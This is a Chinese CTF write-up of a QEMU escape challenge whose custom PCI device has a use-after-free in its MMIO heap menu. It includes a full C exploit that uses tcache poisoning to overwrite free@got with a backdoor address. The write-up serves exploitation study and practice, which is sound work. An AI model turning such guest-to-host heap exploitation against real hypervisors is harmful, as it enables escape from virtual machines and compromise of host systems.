前言
一道简单的套壳堆题.原本题目环境为 ubu16, 我这里使用的是 ubu18
设备逆向
qemu-system-x86_64 只开了 Canary 和 NX 保护.
比较简单, 主要逻辑在 mmio_write 里面, 其实现了一个菜单堆, 具有增删改的功能:
但是在释放堆块时并没有置空, 所以这里存在 UAF. 而程序还直接给了后门:
漏洞利用
笔者的环境是 ubu18, glibc为2.27, 存在 tcache 并且没有相关检查. 所以利用比较简单. 直接打 free@got 为后门函数地址即可.
exp 如下: 注意这里每次写入是 4 字节, 如果写 8 字节会分两次写入
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#define ADD 0
#define DELE 1
#define EDIT 2
void* mmio_base;
void mmio_init()
{
int fd = open("sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
if (fd < 0) puts("[X] open device file"), exit(EXIT_FAILURE);
mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
printf("[+] mmio_base: %#p\n", mmio_base);
if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio_base"), exit(EXIT_FAILURE);
}
void mmio_write(uint64_t cmd, uint64_t idx, uint64_t offset, uint32_t val)
{
uint64_t addr = (cmd << 20) | (idx << 16) | offset;
*(uint32_t*)(mmio_base + addr) = val;
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
mmio_write(ADD, 10, 0, 1);
mmio_write(ADD, 0, 0, 82);
mmio_write(DELE, 0, 0, 0);
mmio_write(EDIT, 0, 0, 0x11301A0);
mmio_write(EDIT, 0, 4, 0);
mmio_write(ADD, 1, 0, 82);
mmio_write(ADD, 2, 0, 82);
mmio_write(EDIT, 2, 0, 0x6E65F9);
mmio_write(EDIT, 2, 4, 0);
mmio_write(DELE, 10, 0, 0);
return 0;
}
效果如下: